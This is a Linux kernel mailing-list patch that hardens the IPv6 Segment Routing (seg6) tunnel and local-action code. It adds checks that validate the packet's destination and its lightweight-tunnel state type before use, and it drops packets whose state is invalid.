Reported-by: Vega <vega@nebusec.ai>
Closes: https://bugtracker.nebusec.ai/f/11977
Reported-by: Sashiko <sashiko-bot@kernel.org>
Closes: https://sashiko.dev/#/patchset/20260720204430.1886091-1-xmei5@asu.edu
Assisted-by: LLM
Signed-off-by: Zixuan Chai <petalzu987@gmail.com>
Signed-off-by: Ren Wei <weir@nebusec.ai>
---
Changes in v2:
- Add unlikely() to the new checks.
- Validate the current dst/lwtstate type in both seg6local and
seg6_iptunnel continuations; drop invalid state.
- Do not walk through XFRM dsts or take an extra lwtstate reference.
- Retain the seg6_input_core() loop-detection comment.
- Document both reproducer setups and clean/patched KASAN results.
- v1 Link: https://lore.kernel.org/all/cover.1790748418.git.petalzu987@gmail.com/
net/ipv6/seg6_iptunnel.c | 35 ++++++++++++++++++++++++++++++-----
net/ipv6/seg6_local.c | 38 ++++++++++++++++++++++++++++++++------
2 files changed, 62 insertions(+), 11 deletions(-)
diff --git a/net/ipv6/seg6_iptunnel.c b/net/ipv6/seg6_iptunnel.c
index 7cbe0685f8bb..75ceeb127337 100644
--- a/net/ipv6/seg6_iptunnel.c
+++ b/net/ipv6/seg6_iptunnel.c
@@ -18,6 +18,7 @@
#include <net/ip6_fib.h>
#include <net/route.h>
#include <net/seg6.h>
+#include <net/dst_metadata.h>
#include <linux/seg6.h>
#include <linux/seg6_iptunnel.h>
#include <net/addrconf.h>
@@ -60,6 +61,21 @@ static inline struct seg6_lwt *seg6_lwt_lwtunnel(struct lwtunnel_state *lwt)
return (struct seg6_lwt *)lwt->data;
}
+static struct lwtunnel_state *seg6_lwt_state_from_skb(struct sk_buff *skb)
+{
+ struct dst_entry *dst;
+
+ if (unlikely(!skb_valid_dst(skb)))
+ return NULL;
+
+ dst = skb_dst(skb);
+ if (unlikely(!dst->lwtstate ||
+ dst->lwtstate->type != LWTUNNEL_ENCAP_SEG6))
+ return NULL;
+
+ return dst->lwtstate;
+}
+
static inline struct seg6_iptunnel_encap *
seg6_encap_lwtunnel(struct lwtunnel_state *lwt)
{
@@ -557,7 +573,6 @@ static int seg6_input_finish(struct net *net, struct sock *sk,
static int seg6_input_core(struct net *net, struct sock *sk,
struct sk_buff *skb)
{
- struct dst_entry *orig_dst = skb_dst(skb);
struct dst_entry *dst = NULL;
struct lwtunnel_state *lwtst;
struct seg6_lwt *slwt;
@@ -568,7 +583,11 @@ static int seg6_input_core(struct net *net, struct sock *sk,
* need the address of its lwtstate. So, save the address of lwtstate
* now and use it later as a comparison.
*/
- lwtst = orig_dst->lwtstate;
+ lwtst = seg6_lwt_state_from_skb(skb);
+ if (unlikely(!lwtst)) {
+ err = -EINVAL;
+ goto drop;
+ }
slwt = seg6_lwt_lwtunnel(lwtst);
@@ -667,12 +686,18 @@ static struct dst_entry *seg6_output_dst_lookup(struct net *net,
static int seg6_output_core(struct net *net, struct sock *sk,
struct sk_buff *skb)
{
- struct dst_entry *orig_dst = skb_dst(skb);
struct dst_entry *dst = NULL;
+ struct lwtunnel_state *lwtst;
struct seg6_lwt *slwt;
int err;
- slwt = seg6_lwt_lwtunnel(orig_dst->lwtstate);
+ lwtst = seg6_lwt_state_from_skb(skb);
+ if (unlikely(!lwtst)) {
+ err = -EINVAL;
+ goto drop;
+ }
+
+ slwt = seg6_lwt_lwtunnel(lwtst);
local_bh_disable();
dst = dst_cache_get(&slwt->cache_output);
@@ -695,7 +720,7 @@ static int seg6_output_core(struct net *net, struct sock *sk,
}
/* cache only if we don't create a dst reference loop */
- if (orig_dst->lwtstate != dst->lwtstate) {
+ if (lwtst != dst->lwtstate) {
local_bh_disable();
dst_cache_set_ip6(&slwt->cache_output, dst, &fl6.saddr);
local_bh_enable();
diff --git a/net/ipv6/seg6_local.c b/net/ipv6/seg6_local.c
index 53f7b2452575..79c27e467c2b 100644
--- a/net/ipv6/seg6_local.c
+++ b/net/ipv6/seg6_local.c
@@ -24,6 +24,7 @@
#include <net/addrconf.h>
#include <net/ip6_route.h>
#include <net/dst_cache.h>
+#include <net/dst_metadata.h>
#include <net/ip_tunnels.h>
#ifdef CONFIG_IPV6_SEG6_HMAC
#include <net/seg6_hmac.h>
@@ -213,6 +214,21 @@ static struct seg6_local_lwt *seg6_local_lwtunnel(struct lwtunnel_state *lwt)
return (struct seg6_local_lwt *)lwt->data;
}
+static struct seg6_local_lwt *seg6_local_lwt_from_skb(struct sk_buff *skb)
+{
+ struct dst_entry *dst;
+
+ if (unlikely(!skb_valid_dst(skb)))
+ return NULL;
+
+ dst = skb_dst(skb);
+ if (unlikely(!dst->lwtstate ||
+ dst->lwtstate->type != LWTUNNEL_ENCAP_SEG6_LOCAL))
+ return NULL;
+
+ return seg6_local_lwtunnel(dst->lwtstate);
+}
+
static struct ipv6_sr_hdr *get_and_validate_srh(struct sk_buff *skb)
{
struct ipv6_sr_hdr *srh;
@@ -1008,11 +1024,14 @@ static int input_action_end_dx2(struct sk_buff *skb,
static int input_action_end_dx6_finish(struct net *net, struct sock *sk,
struct sk_buff *skb)
{
- struct dst_entry *orig_dst = skb_dst(skb);
struct in6_addr *nhaddr = NULL;
struct seg6_local_lwt *slwt;
- slwt = seg6_local_lwtunnel(orig_dst->lwtstate);
+ slwt = seg6_local_lwt_from_skb(skb);
+ if (unlikely(!slwt)) {
+ kfree_skb(skb);
+ return -EINVAL;
+ }
/* The inner packet is not associated to any local interface,
* so we do not call netif_rx().
@@ -1059,13 +1078,16 @@ static int input_action_end_dx6(struct sk_buff *skb,
static int input_action_end_dx4_finish(struct net *net, struct sock *sk,
struct sk_buff *skb)
{
- struct dst_entry *orig_dst = skb_dst(skb);
enum skb_drop_reason reason;
struct seg6_local_lwt *slwt;
struct iphdr *iph;
__be32 nhaddr;
- slwt = seg6_local_lwtunnel(orig_dst->lwtstate);
+ slwt = seg6_local_lwt_from_skb(skb);
+ if (unlikely(!slwt)) {
+ kfree_skb(skb);
+ return -EINVAL;
+ }
iph = ip_hdr(skb);
@@ -1722,13 +1744,17 @@ static void seg6_local_update_counters(struct seg6_local_lwt *slwt,
static int seg6_local_input_core(struct net *net, struct sock *sk,
struct sk_buff *skb)
{
- struct dst_entry *orig_dst = skb_dst(skb);
struct seg6_action_desc *desc;
struct seg6_local_lwt *slwt;
unsigned int len = skb->len;
int rc;
- slwt = seg6_local_lwtunnel(orig_dst->lwtstate);
+ slwt = seg6_local_lwt_from_skb(skb);
+ if (unlikely(!slwt)) {
+ kfree_skb(skb);
+ return -EINVAL;
+ }
+
desc = slwt->desc;
rc = desc->input(skb, slwt);
--
2.34.1
^ permalink raw reply related [flat|nested] 2+ messages in thread
end of thread, other threads:[~2026-10-18 6:27 UTC | newest]
Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-18 6:27 [PATCH net v2 0/1] seg6: validate state in netfilter continuations Ren Wei
2026-10-18 6:27 ` [PATCH net v2 1/1] " Ren Wei
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox